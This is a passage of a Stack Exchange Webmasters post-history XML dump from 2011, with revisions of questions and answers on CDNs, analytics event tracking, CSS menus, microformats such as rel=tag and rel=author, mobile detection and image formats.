  <row Id="46355" PostHistoryTypeId="2" PostId="18946" RevisionGUID="928e01ec-db82-4192-ac7f-5e1086115ae2" CreationDate="2011-08-30T13:23:41.987" UserId="8009" Text="There's only one way to find out... (try)&#xD;&#xA;&#xD;&#xA;In theory, if you target specific keywords, there is no reason why you shouldn't be able to complete for them if they've been overlooked by any other websites. That's the whole idea behind the concept of targetting long(er)-tailed keywords." />
  <row Id="46356" PostHistoryTypeId="2" PostId="18947" RevisionGUID="e4504c9a-a6f2-4cbf-b0ce-73988b8e025c" CreationDate="2011-08-30T14:02:56.490" UserId="8848" Text="As the sysadmin in our organization I've been asked to look into CDN solutions as we have plans to roll out a web platform that is targeted at developing countries. Here is my research so far on the subject.&#xD;&#xA;&#xD;&#xA;-----------------&#xD;&#xA;**CDN as a service:**  &#xD;&#xA;With solutions from companies such as [akamai][1]  (leader), [limelight][2]  (good player), [cloudfare][3] (startup with a freemium model)  &#xD;&#xA;&#xD;&#xA;PROS:  &#xD;&#xA;-easy to get going (just pay, setup some DNS entries and you're good to go)  &#xD;&#xA;-controlled cost&#xD;&#xA;&#xD;&#xA;CONS:  &#xD;&#xA;-have to rely on features/service provided by CDN which is unlikely to meet your special demands if your are a small organization like ours.&#xD;&#xA;&#xD;&#xA;-----------------&#xD;&#xA;**Cloud providers:**  &#xD;&#xA;[amazon][4] and others which provide you with APIs and clouds in various locations which allow you to provide a CDN-like service.&#xD;&#xA;&#xD;&#xA;PROS:  &#xD;&#xA;-more flexible than aforementioned CDNs&#xD;&#xA;&#xD;&#xA;CONS:  &#xD;&#xA;-more work required to get going&#xD;&#xA;&#xD;&#xA;-----------------&#xD;&#xA;**Your own CDN:**  &#xD;&#xA;With DNS and server load balancing products from companies such as [F5 Networks][5], [Juniper][6], [Cisco][7] hosted in datacenters.&#xD;&#xA;&#xD;&#xA;PROS:  &#xD;&#xA;-you have full control over the infrastructure and can implement a solution that really fits your needs&#xD;&#xA;&#xD;&#xA;CONS:  &#xD;&#xA;-requires massive investments&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.akamai.com&#xD;&#xA;  [2]: http://www.limelight.com&#xD;&#xA;  [3]: http://www.cloudfare.com&#xD;&#xA;  [4]: http://aws.amazon.com/cloudfront/&#xD;&#xA;  [5]: http://www.f5.com&#xD;&#xA;  [6]: http://www.juniper.net&#xD;&#xA;  [7]: http://www.cisco.com&#xD;&#xA;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;**If you have knowledge about CDNs, can you share your experience with a PROS/CONS approach? Do you happen do know CDN solutions that perform well in developing countries?**" />
  <row Id="46357" PostHistoryTypeId="1" PostId="18947" RevisionGUID="e4504c9a-a6f2-4cbf-b0ce-73988b8e025c" CreationDate="2011-08-30T14:02:56.490" UserId="8848" Text="CDN solutions pros and cons" />
  <row Id="46358" PostHistoryTypeId="3" PostId="18947" RevisionGUID="e4504c9a-a6f2-4cbf-b0ce-73988b8e025c" CreationDate="2011-08-30T14:02:56.490" UserId="8848" Text="&lt;performance&gt;&lt;cdn&gt;&lt;cloud-hosting&gt;&lt;load-time&gt;" />
  <row Id="46359" PostHistoryTypeId="5" PostId="18935" RevisionGUID="c1732a10-3bc6-4cce-84d5-c1587e883b74" CreationDate="2011-08-30T14:29:03.873" UserId="1643" Comment="added 22 characters in body" Text="you can track events with google code.&#xD;&#xA;&#xD;&#xA;put this code in your head &#xD;&#xA;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;      function recordOutboundLink(link, category, action) {&#xD;&#xA;        _gat._getTrackerByName()._trackEvent(category, action);&#xD;&#xA;      }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;then you could do as Hissohathair says above and put the onClick in every link&#xD;&#xA;&#xD;&#xA;    `&lt;a href=&quot;/path/to/page&quot; target=&quot;_blank&quot; onClick=&quot;javascript: recordOutboundLink(this, 'entercategoryname', 'enternameofaction');&quot;&gt;`&#xD;&#xA;&#xD;&#xA;then in your google analytics goto &quot;content &gt; Event tracking&quot;&#xD;&#xA;&#xD;&#xA;you can also use javascript to add this automatically instead of adding to each link&#xD;&#xA;(I wrote a wordpress plugin that had this feature)&#xD;&#xA;" />
  <row Id="46360" PostHistoryTypeId="2" PostId="18948" RevisionGUID="17d8a2fa-7a44-4b85-8301-a3f5cc07726a" CreationDate="2011-08-30T14:35:58.197" UserId="9950" Text="This is meant for a menu.  &#xD;&#xA;For example I have a div element with 3 spans in it, all of which have some margin, max-width and float (left or right).  &#xD;&#xA;It is positioned starting from the left side and goes like this:  &#xD;&#xA;`[[span1][span2][span3]      - lots of free space here].`  &#xD;&#xA;I want to make it even out like this:  &#xD;&#xA;`[[span1] - space - [span2] - space - [span3]]`  &#xD;&#xA;How can I do this using CSS? I kinda doubt it is not possible.  &#xD;&#xA;Note that I want it to keep the same style when I add or remove a menu item." />
  <row Id="46361" PostHistoryTypeId="1" PostId="18948" RevisionGUID="17d8a2fa-7a44-4b85-8301-a3f5cc07726a" CreationDate="2011-08-30T14:35:58.197" UserId="9950" Text="how to evenly distribute elements in a div next to each other?" />
  <row Id="46362" PostHistoryTypeId="3" PostId="18948" RevisionGUID="17d8a2fa-7a44-4b85-8301-a3f5cc07726a" CreationDate="2011-08-30T14:35:58.197" UserId="9950" Text="&lt;css&gt;" />
  <row Id="46363" PostHistoryTypeId="2" PostId="18949" RevisionGUID="e6b3507a-5728-4982-b5e9-53fc4012fbb7" CreationDate="2011-08-30T14:36:23.343" UserId="2492" Text="I want to show the user that a **hyperlink links to a PDF file** (or Word/PowerPoint etc.).&#xD;&#xA;&#xD;&#xA;Here are some methods I've considered:&#xD;&#xA;&#xD;&#xA;&gt; [Farming Report (PDF)][1]&#xD;&#xA;&#xD;&#xA;&gt; [Farming Report (PDF, 52K)][2]&#xD;&#xA;&#xD;&#xA;Alternatively, I've thought about using icons:&#xD;&#xA;&#xD;&#xA;![enter image description here][3]&#xD;&#xA;![enter image description here][4]&#xD;&#xA;&#xD;&#xA;(Examples from these pages:&#xD;&#xA;[Making hyperlink icons with CSS][5],&#xD;&#xA;[Showing hyperlink cues with CSS][6])&#xD;&#xA;&#xD;&#xA;**What's the accepted, standard and accessible way of doing this?** Are there any guidelines available somewhere?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://about:blank&#xD;&#xA;  [2]: http://about:blank&#xD;&#xA;  [3]: http://i.stack.imgur.com/irlR4.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/Ubgj5.gif&#xD;&#xA;  [5]: http://www.devirtuoso.com/2009/08/making-hyperlink-icons-with-css/#more-787&#xD;&#xA;  [6]: http://askthecssguy.com/articles/showing-hyperlink-cues-with-css/#post-56" />
  <row Id="46364" PostHistoryTypeId="1" PostId="18949" RevisionGUID="e6b3507a-5728-4982-b5e9-53fc4012fbb7" CreationDate="2011-08-30T14:36:23.343" UserId="2492" Text="Most acceptable way to show hyper link file type to the web page user?" />
  <row Id="46365" PostHistoryTypeId="3" PostId="18949" RevisionGUID="e6b3507a-5728-4982-b5e9-53fc4012fbb7" CreationDate="2011-08-30T14:36:23.343" UserId="2492" Text="&lt;usability&gt;&lt;hyperlink&gt;&lt;icon&gt;" />
  <row Id="46366" PostHistoryTypeId="14" PostId="18948" RevisionGUID="88dbeb41-2401-48cf-a67c-09e2b7c59897" CreationDate="2011-08-30T14:40:33.167" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="46367" PostHistoryTypeId="17" PostId="18948" RevisionGUID="db233c74-1148-4a5c-a9a8-fd230411546a" CreationDate="2011-08-30T14:40:33.183" UserId="1253" Comment="to http://stackoverflow.com/questions/7245018/how-to-evenly-distribute-elements-in-a-div-next-to-each-other" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46368" PostHistoryTypeId="10" PostId="18948" RevisionGUID="9046f4b2-04a2-44d0-b2c9-28f699e206f8" CreationDate="2011-08-30T14:40:31.903" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46369" PostHistoryTypeId="2" PostId="18950" RevisionGUID="0251a322-7b86-447b-8f24-5d32d1d91fad" CreationDate="2011-08-30T14:41:58.953" UserId="1253" Text="There is no standard and accepted way of doing this. &#xD;&#xA;&#xD;&#xA;Your examples are good ways to accomplish this. An alternative is to show a PDF icon after the link to indicate it links to a PDF document. You'll see many sites doing the same thing with external links. See [this page][1] for examples of this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askthecssguy.com/articles/showing-hyperlink-cues-with-css/" />
  <row Id="46370" PostHistoryTypeId="2" PostId="18951" RevisionGUID="e3b7ca35-77d0-4025-a4f9-faaad5ff440e" CreationDate="2011-08-30T14:44:45.440" UserId="7198" Text="There are various CSS sprite generators available online, including:&#xD;&#xA;&#xD;&#xA; - [Spritegen](http://spritegen.website-performance.org/)&#xD;&#xA; - [SmartSprites](http://csssprites.org/)&#xD;&#xA; - [CSS Sprites](http://css-sprit.es/)&#xD;&#xA; - [Web Sprite Generator](http://westhoffswelt.de/projects/web-sprite-generator.html)&#xD;&#xA;&#xD;&#xA;From my experience, the only way to generate CSS sprites while keeping file sizes down and maintaining control over compression is to do it manually." />
  <row Id="46371" PostHistoryTypeId="5" PostId="18950" RevisionGUID="4ac011c9-ce79-4c58-9eb0-191419f3759e" CreationDate="2011-08-30T14:49:29.993" UserId="1253" Comment="added 102 characters in body" Text="There is no standard and accepted way of doing this. &#xD;&#xA;&#xD;&#xA;Your examples are good ways to accomplish this. An alternative is to show a PDF icon after the link to indicate it links to a PDF document. You'll see many sites doing the same thing with external links. See [this page][1] for examples of this. [This page][2] provides lots of icons you can use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askthecssguy.com/articles/showing-hyperlink-cues-with-css/&#xD;&#xA;  [2]: http://pooliestudios.com/projects/iconize/" />
  <row Id="46372" PostHistoryTypeId="5" PostId="18950" RevisionGUID="ecccaf65-0594-476f-bbcb-44730dbc9a92" CreationDate="2011-08-30T14:55:34.543" UserId="1253" Comment="added 11 characters in body" Text="There is no standard and accepted way of doing this. &#xD;&#xA;&#xD;&#xA;Your examples are good ways to accomplish this. An alternative is to show a PDF icon after the link to indicate it links to a PDF document. You'll see many sites doing the same thing with external links. The page you linked to shows good examples of this. [This page][2] provides lots of icons you can use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askthecssguy.com/articles/showing-hyperlink-cues-with-css/&#xD;&#xA;  [2]: http://pooliestudios.com/projects/iconize/" />
  <row Id="46373" PostHistoryTypeId="2" PostId="18952" RevisionGUID="1f1d1a7b-4d6c-4332-a89d-5508970b8dd3" CreationDate="2011-08-30T15:05:01.570" UserId="8009" Text="1) Copy and paste the files for the pages with the articles into the new subdomain's folder **and** 301 redirect from the old pages. &#xD;&#xA;&#xD;&#xA;2) See above.&#xD;&#xA;&#xD;&#xA;3) Essentially yes, each page has it's own PR value - for example whilst facebook.com might be a PR 9/10 site, my profile on facebook is probably not even PR 1. Though if you're homepage has a PR, you can pass 'link juice' to your new subdomain by linking to the pages directly from it.&#xD;&#xA;&#xD;&#xA;Didn't want to get too in-depth, but think I gave you enough to go on. :)" />
  <row Id="46374" PostHistoryTypeId="2" PostId="18953" RevisionGUID="322b6537-d899-4e02-8db1-dc80ce0c01c1" CreationDate="2011-08-30T15:31:45.230" UserId="9313" Text="You know the comments on Google Docs word processing documents?  And how it creates a little discussion over in the right-hand margin?&#xD;&#xA;&#xD;&#xA;I love it.  Great for collaboration.  I want to free it from Google Docs so I can use it with clients to discuss mock-ups or scaffolded websites.  &#xD;&#xA;&#xD;&#xA;Searching Google for &quot;add comments [or discussions] to any website&quot; only gets you results for adding blog-like comments (Disqus, JS-Kit, etc.)&#xD;&#xA;&#xD;&#xA;Anyone know of a solution for what I'm after here?" />
  <row Id="46375" PostHistoryTypeId="1" PostId="18953" RevisionGUID="322b6537-d899-4e02-8db1-dc80ce0c01c1" CreationDate="2011-08-30T15:31:45.230" UserId="9313" Text="Is there a way to add Google Docs-like comments to any web page?" />
  <row Id="46376" PostHistoryTypeId="3" PostId="18953" RevisionGUID="322b6537-d899-4e02-8db1-dc80ce0c01c1" CreationDate="2011-08-30T15:31:45.230" UserId="9313" Text="&lt;web-development&gt;&lt;google-apps&gt;&lt;comments&gt;" />
  <row Id="46377" PostHistoryTypeId="25" PostId="18949" RevisionGUID="d6c88d0b-d417-4ec9-a9b4-56bb6fc0f8ad" CreationDate="2011-08-30T15:36:11.970" Comment="http://twitter.com/#!/StackWebmasters/status/108563675098525698" />
  <row Id="46378" PostHistoryTypeId="2" PostId="18954" RevisionGUID="2b83aae7-e4bd-4c22-8279-89df7a378ad6" CreationDate="2011-08-30T16:52:29.107" UserId="3312" Text="I've been looking at the 'Microformat' [rel=&quot;tag&quot;][1],  but am a little confused as to its propper use.&#xD;&#xA;&#xD;&#xA;From the spec:&#xD;&#xA;&#xD;&#xA;&gt; By adding rel=&quot;tag&quot; to a hyperlink, a page indicates that the destination of that hyperlink is an author-designated &quot;tag&quot; (or keyword/subject) for the current page.&#xD;&#xA;&#xD;&#xA;What do they mean by the 'destination of the hyperlink' is a 'tag'?&#xD;&#xA;&#xD;&#xA;In what situations might it be used?&#xD;&#xA;&#xD;&#xA;  [1]: http://microformats.org/wiki/rel-tag" />
  <row Id="46379" PostHistoryTypeId="1" PostId="18954" RevisionGUID="2b83aae7-e4bd-4c22-8279-89df7a378ad6" CreationDate="2011-08-30T16:52:29.107" UserId="3312" Text="When to use rel=&quot;tag&quot;" />
  <row Id="46380" PostHistoryTypeId="3" PostId="18954" RevisionGUID="2b83aae7-e4bd-4c22-8279-89df7a378ad6" CreationDate="2011-08-30T16:52:29.107" UserId="3312" Text="&lt;microformats&gt;" />
  <row Id="46381" PostHistoryTypeId="2" PostId="18955" RevisionGUID="f4ec76f8-b1a8-4eef-90ba-c562cf753f6c" CreationDate="2011-08-30T17:08:15.910" UserId="1253" Text="It means the page that link points to will contain a list of links to other pages that are tagged by the anchor text of that link. For example, if a link looked like this:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/tags/seo&quot; rel=&quot;tag&quot;&gt;SEO&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;The microformat tells the search engine, and any other user-agent, that the URL `/tags/seo` contains links to documents (i.e. pages, etc) that are also tagged, and thus related to SEO.&#xD;&#xA;&#xD;&#xA;If you have a tag cloud, or put tags on your content pages, you would use this microformat." />
  <row Id="46382" PostHistoryTypeId="5" PostId="18955" RevisionGUID="7fc0eedc-ea1f-47c8-a14b-dfb9e7982009" CreationDate="2011-08-30T17:15:08.213" UserId="1253" Comment="added 6 characters in body" Text="It means the page that link points to will contain a list of links to other pages that are tagged by the anchor text of that link. For example, if a link looked like this:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/tags/seo&quot; rel=&quot;tag&quot;&gt;SEO&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;The microformat tells the search engine, and any other user-agent, that the URL `/tags/seo` contains links to documents (i.e. pages, etc) that are also tagged `seo`, and thus related to SEO.&#xD;&#xA;&#xD;&#xA;If you have a tag cloud, or put tags on your content pages, you would use this microformat." />
  <row Id="46383" PostHistoryTypeId="2" PostId="18956" RevisionGUID="887f66fd-dfe2-4d74-9591-4f222b3ac5c7" CreationDate="2011-08-30T17:29:19.720" UserId="9868" Text="I came across rel=me and rel=author from [joost's blog][1]. I don't know how much value they're going to be in future for SERPS as they look more of eye candy in search than anything beneficial to surfers. &#xD;&#xA;&#xD;&#xA;It is difficult to use rel=me and rel=author on wordpress blog. Most of the plugins are working with all the themes. I'm using thesis and genesis frameworks and plugins seems to be not working for some of the themes on these frameworks. &#xD;&#xA;&#xD;&#xA;My Question - Is there any theme-agnostic plugin that does the job for rel=me an rel=author ?&#xD;&#xA;&#xD;&#xA;Another question- what are the benefits are there for webmasters ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://yoast.com/wordpress-rel-author-rel-me/" />
  <row Id="46384" PostHistoryTypeId="1" PostId="18956" RevisionGUID="887f66fd-dfe2-4d74-9591-4f222b3ac5c7" CreationDate="2011-08-30T17:29:19.720" UserId="9868" Text="rel=author and rel=me in Wordpress" />
  <row Id="46385" PostHistoryTypeId="3" PostId="18956" RevisionGUID="887f66fd-dfe2-4d74-9591-4f222b3ac5c7" CreationDate="2011-08-30T17:29:19.720" UserId="9868" Text="&lt;seo&gt;&lt;wordpress&gt;" />
  <row Id="46386" PostHistoryTypeId="2" PostId="18957" RevisionGUID="696ff0a6-34af-44ae-b64f-0f309634d5a5" CreationDate="2011-08-30T17:34:34.617" UserId="1907" Text="I'm implementing a mobile-friendly version of our corporate web site and will be using [WURFL][1] to detect mobile browsers and redirect them to our mobile site.  Having recently purchased an Android tablet, I've found that many sites consider it to be a mobile device even though it has a large 10&quot; screen and it's perfectly capable of handling sites designed using standard desktop resolutions.&#xD;&#xA;&#xD;&#xA;My plan is to use WURFL, examine the device capabilities and treat anything with a resolution width of less than 700px as a mobile device, but I'd like some input as to that sweet spot for determining mobile vs desktop.&#xD;&#xA;&#xD;&#xA;  [1]: http://wurfl.sourceforge.net/ &quot;WURFL&quot;" />
  <row Id="46387" PostHistoryTypeId="1" PostId="18957" RevisionGUID="696ff0a6-34af-44ae-b64f-0f309634d5a5" CreationDate="2011-08-30T17:34:34.617" UserId="1907" Text="What do you consider a &quot;mobile&quot; device?" />
  <row Id="46388" PostHistoryTypeId="3" PostId="18957" RevisionGUID="696ff0a6-34af-44ae-b64f-0f309634d5a5" CreationDate="2011-08-30T17:34:34.617" UserId="1907" Text="&lt;mobile&gt;" />
  <row Id="46389" PostHistoryTypeId="2" PostId="18958" RevisionGUID="6c9bb241-0928-45a0-9bcd-51e8b7ac1766" CreationDate="2011-08-30T17:38:51.173" UserId="1253" Text="From [rel=”me” And rel=”author” Attributes][1]:&#xD;&#xA;&#xD;&#xA;&gt; Google wants to make it clear what the difference is between rel=”me”&#xD;&#xA;&gt; and rel=”author”. That’s why on June 7 – just a few days ago – Google&#xD;&#xA;&gt; added an explanation page to its Webmaster guidelines defining the&#xD;&#xA;&gt; difference. It’s really pretty simple, but I think it bears some&#xD;&#xA;&gt; discussion and how small business owners can use the site for&#xD;&#xA;&gt; improving their own search engine rankings.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **rel=”author” Defines Authorship**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let’s say that Small Business Mavericks has a staff of five writers,&#xD;&#xA;&gt; all of whom write content for the blog. If each one has an author page&#xD;&#xA;&gt; with a bio, then each author could have a byline on every blog post&#xD;&#xA;&gt; they write. The name in their byline could be linked to each author’s&#xD;&#xA;&gt; author bio page with a rel=”author” attribute as a part of the link&#xD;&#xA;&gt; markup code. In other words, it would look something like this:&#xD;&#xA;&gt; &#xD;&#xA;    `&lt;a href=&quot;Small Business Maverick URL&quot; rel=&quot;Caroline Melberg&quot;&gt;Caroline Melberg&lt;/a&gt;` &#xD;&#xA;&#xD;&#xA;&gt;This code tells the search engines that&#xD;&#xA;&gt; Caroline Melberg is the author of the article linking to the author’s&#xD;&#xA;&gt; page. It’s important to point out that this markup must be used only&#xD;&#xA;&gt; on content that exists on the same domain. In other words, you&#xD;&#xA;&gt; wouldn’t use the rel=”author” tag to link from an article on one&#xD;&#xA;&gt; domain to an author bio on another domain.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **rel=”me” Defines The Person**&#xD;&#xA;&gt; &#xD;&#xA;&gt; While the rel=”author” attribute is new markup, rel=”me” is not. In&#xD;&#xA;&gt; fact, for a number of years now Google has encouraged its use. It&#xD;&#xA;&gt; should be used in links that point from a social networking profile&#xD;&#xA;&gt; back to your website and vice-versa. This tells Google that the same&#xD;&#xA;&gt; name and bio information on separate websites is actually the same&#xD;&#xA;&gt; person.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Why The Distinction?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; I think what Google is getting at here is that there could be some&#xD;&#xA;&gt; user confusion over who persons are between social networks,&#xD;&#xA;&gt; especially if several users share a common name, whereas authors on a&#xD;&#xA;&gt; website might be better found – and their names more searchable – if&#xD;&#xA;&gt; links included a rel=”author” tag.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The rel=”author” attribute is clearly encouraged for news sites where&#xD;&#xA;&gt; several authors might write pages on a regular basis, but it doesn’t&#xD;&#xA;&gt; mean that small businesses with several writers can’t also use the&#xD;&#xA;&gt; same markup strategy. I think you can.&#xD;&#xA;&#xD;&#xA;Google will use `rel=&quot;author&quot;` to show a profile image for the author when a relevant search result written by them is shown. [Example][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smallbusinessmavericks.com/internetmarketing/small-business-internet-marketing/relme-relauthor-attributes/06/10/2011/&#xD;&#xA;  [2]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=codinh%20horror" />
  <row Id="46393" PostHistoryTypeId="2" PostId="18960" RevisionGUID="ab9f2b5b-4f9f-4eb0-801c-8f9cef500b75" CreationDate="2011-08-30T17:50:30.477" UserId="9953" Text="I have a client who wanted about eight different domain names to point to the same website. I could not do this due to SEO, aka the ranking of the website. I did notice that when I had all of the domains redirect to the same site, the ranking dropped off significantly. &#xD;&#xA;&#xD;&#xA;If you would like to do what you are asking, ere should be a configuration page with the network host(s) that allows for domain forwarding to the same IP. I know for sure this is the case with Network Solutions, I am not sure about Godaddy however." />
  <row Id="46394" PostHistoryTypeId="5" PostId="18958" RevisionGUID="a1c8e1c0-98f6-4e53-9ca5-df597df5d6a0" CreationDate="2011-08-30T17:51:16.530" UserId="1253" Comment="added 215 characters in body" Text="From [rel=”me” And rel=”author” Attributes][1]:&#xD;&#xA;&#xD;&#xA;&gt; Google wants to make it clear what the difference is between rel=”me”&#xD;&#xA;&gt; and rel=”author”. That’s why on June 7 – just a few days ago – Google&#xD;&#xA;&gt; added an explanation page to its Webmaster guidelines defining the&#xD;&#xA;&gt; difference. It’s really pretty simple, but I think it bears some&#xD;&#xA;&gt; discussion and how small business owners can use the site for&#xD;&#xA;&gt; improving their own search engine rankings.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **rel=”author” Defines Authorship**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let’s say that Small Business Mavericks has a staff of five writers,&#xD;&#xA;&gt; all of whom write content for the blog. If each one has an author page&#xD;&#xA;&gt; with a bio, then each author could have a byline on every blog post&#xD;&#xA;&gt; they write. The name in their byline could be linked to each author’s&#xD;&#xA;&gt; author bio page with a rel=”author” attribute as a part of the link&#xD;&#xA;&gt; markup code. In other words, it would look something like this:&#xD;&#xA;&gt; &#xD;&#xA;    `&lt;a href=&quot;Small Business Maverick URL&quot; rel=&quot;Caroline Melberg&quot;&gt;Caroline Melberg&lt;/a&gt;` &#xD;&#xA;&#xD;&#xA;&gt;This code tells the search engines that&#xD;&#xA;&gt; Caroline Melberg is the author of the article linking to the author’s&#xD;&#xA;&gt; page. It’s important to point out that this markup must be used only&#xD;&#xA;&gt; on content that exists on the same domain. In other words, you&#xD;&#xA;&gt; wouldn’t use the rel=”author” tag to link from an article on one&#xD;&#xA;&gt; domain to an author bio on another domain.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **rel=”me” Defines The Person**&#xD;&#xA;&gt; &#xD;&#xA;&gt; While the rel=”author” attribute is new markup, rel=”me” is not. In&#xD;&#xA;&gt; fact, for a number of years now Google has encouraged its use. It&#xD;&#xA;&gt; should be used in links that point from a social networking profile&#xD;&#xA;&gt; back to your website and vice-versa. This tells Google that the same&#xD;&#xA;&gt; name and bio information on separate websites is actually the same&#xD;&#xA;&gt; person.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Why The Distinction?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; I think what Google is getting at here is that there could be some&#xD;&#xA;&gt; user confusion over who persons are between social networks,&#xD;&#xA;&gt; especially if several users share a common name, whereas authors on a&#xD;&#xA;&gt; website might be better found – and their names more searchable – if&#xD;&#xA;&gt; links included a rel=”author” tag.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The rel=”author” attribute is clearly encouraged for news sites where&#xD;&#xA;&gt; several authors might write pages on a regular basis, but it doesn’t&#xD;&#xA;&gt; mean that small businesses with several writers can’t also use the&#xD;&#xA;&gt; same markup strategy. I think you can.&#xD;&#xA;&#xD;&#xA;Google will use `rel=&quot;author&quot;` to show a profile image for the author when a relevant search result written by them is shown. [Example][2].&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;Apparently this feature is coming in Wordpress 3.2. Until then [you can use a hack to get it into your Wordpress blog now][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smallbusinessmavericks.com/internetmarketing/small-business-internet-marketing/relme-relauthor-attributes/06/10/2011/&#xD;&#xA;  [2]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=codinh%20horror&#xD;&#xA;  [3]: http://jdwho.com/2011/06/08/wordpress-and-rel-author-goodness/" />
  <row Id="46396" PostHistoryTypeId="2" PostId="18961" RevisionGUID="bc2c9be9-d3ea-4866-96e8-f0e2e68cb0eb" CreationDate="2011-08-30T18:22:55.233" UserId="9694" Text="JPEGs are smaller in size then PNGs. So. I thought that if I can make the &quot;background&quot; in a jpegfile transparent with some code maybe I save some kb:s :P&#xD;&#xA;&#xD;&#xA;So does anyone now for example how to make the color &quot;#d67fff&quot; in an image transparent, with PHP or JS?&#xD;&#xA;&#xD;&#xA;Greetings, enji" />
  <row Id="46397" PostHistoryTypeId="1" PostId="18961" RevisionGUID="bc2c9be9-d3ea-4866-96e8-f0e2e68cb0eb" CreationDate="2011-08-30T18:22:55.233" UserId="9694" Text="Use JPEG for transparency instead of PNGs" />
  <row Id="46398" PostHistoryTypeId="3" PostId="18961" RevisionGUID="bc2c9be9-d3ea-4866-96e8-f0e2e68cb0eb" CreationDate="2011-08-30T18:22:55.233" UserId="9694" Text="&lt;php&gt;&lt;png&gt;&lt;transparency&gt;&lt;jpeg&gt;" />
  <row Id="46399" PostHistoryTypeId="2" PostId="18962" RevisionGUID="1cb4dd5c-9960-409a-897d-819190cb34ab" CreationDate="2011-08-30T18:27:31.287" UserId="1253" Text="JPEGS are not always smaller in size then PNGs. Each format has its uses. JPEGs are great for complex images like photographs and will have a smaller file size then PNGs when compressing a photo. PNGs are great for logos or buttons and will be smaller then a JPEG when compressing those kinds of images. &#xD;&#xA;&#xD;&#xA;JPEGs do not support transparency so what you're hoping to do is not possible. Use a PNG as it would be ideal for this kind of an image." />
  <row Id="46400" PostHistoryTypeId="5" PostId="18961" RevisionGUID="e363d06c-7ede-46e9-bcbe-fac46d8dee1b" CreationDate="2011-08-30T18:27:46.433" UserId="1253" Comment="deleted 17 characters in body" Text="JPEGs are smaller in size then PNGs. So. I thought that if I can make the &quot;background&quot; in a jpegfile transparent with some code maybe I save some kilobytes.&#xD;&#xA;&#xD;&#xA;So does anyone now for example how to make the color &quot;#d67fff&quot; in an image transparent, with PHP or JS?&#xD;&#xA;" />
  <row Id="46401" PostHistoryTypeId="25" PostId="18961" RevisionGUID="679fc221-6462-4a1a-997a-20f17de5f7c9" CreationDate="2011-08-30T18:36:12.893" Comment="http://twitter.com/#!/StackWebmasters/status/108608979147567104" />
  <row Id="46402" PostHistoryTypeId="5" PostId="18958" RevisionGUID="7dfe66f2-99ba-4dc1-bda5-fb73dd73bf67" CreationDate="2011-08-30T19:00:38.637" UserId="1253" Comment="deleted 4 characters in body" Text="From [rel=”me” And rel=”author” Attributes][1]:&#xD;&#xA;&#xD;&#xA;&gt; Google wants to make it clear what the difference is between rel=”me”&#xD;&#xA;&gt; and rel=”author”. That’s why on June 7 – just a few days ago – Google&#xD;&#xA;&gt; added an explanation page to its Webmaster guidelines defining the&#xD;&#xA;&gt; difference. It’s really pretty simple, but I think it bears some&#xD;&#xA;&gt; discussion and how small business owners can use the site for&#xD;&#xA;&gt; improving their own search engine rankings.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **rel=”author” Defines Authorship**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let’s say that Small Business Mavericks has a staff of five writers,&#xD;&#xA;&gt; all of whom write content for the blog. If each one has an author page&#xD;&#xA;&gt; with a bio, then each author could have a byline on every blog post&#xD;&#xA;&gt; they write. The name in their byline could be linked to each author’s&#xD;&#xA;&gt; author bio page with a rel=”author” attribute as a part of the link&#xD;&#xA;&gt; markup code. In other words, it would look something like this:&#xD;&#xA;&gt; &#xD;&#xA;    `&lt;a href=&quot;Small Business Maverick URL&quot; rel=&quot;Caroline Melberg&quot;&gt;Caroline Melberg&lt;/a&gt;` &#xD;&#xA;&#xD;&#xA;&gt;This code tells the search engines that&#xD;&#xA;&gt; Caroline Melberg is the author of the article linking to the author’s&#xD;&#xA;&gt; page. It’s important to point out that this markup must be used only&#xD;&#xA;&gt; on content that exists on the same domain. In other words, you&#xD;&#xA;&gt; wouldn’t use the rel=”author” tag to link from an article on one&#xD;&#xA;&gt; domain to an author bio on another domain.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **rel=”me” Defines The Person**&#xD;&#xA;&gt; &#xD;&#xA;&gt; While the rel=”author” attribute is new markup, rel=”me” is not. In&#xD;&#xA;&gt; fact, for a number of years now Google has encouraged its use. It&#xD;&#xA;&gt; should be used in links that point from a social networking profile&#xD;&#xA;&gt; back to your website and vice-versa. This tells Google that the 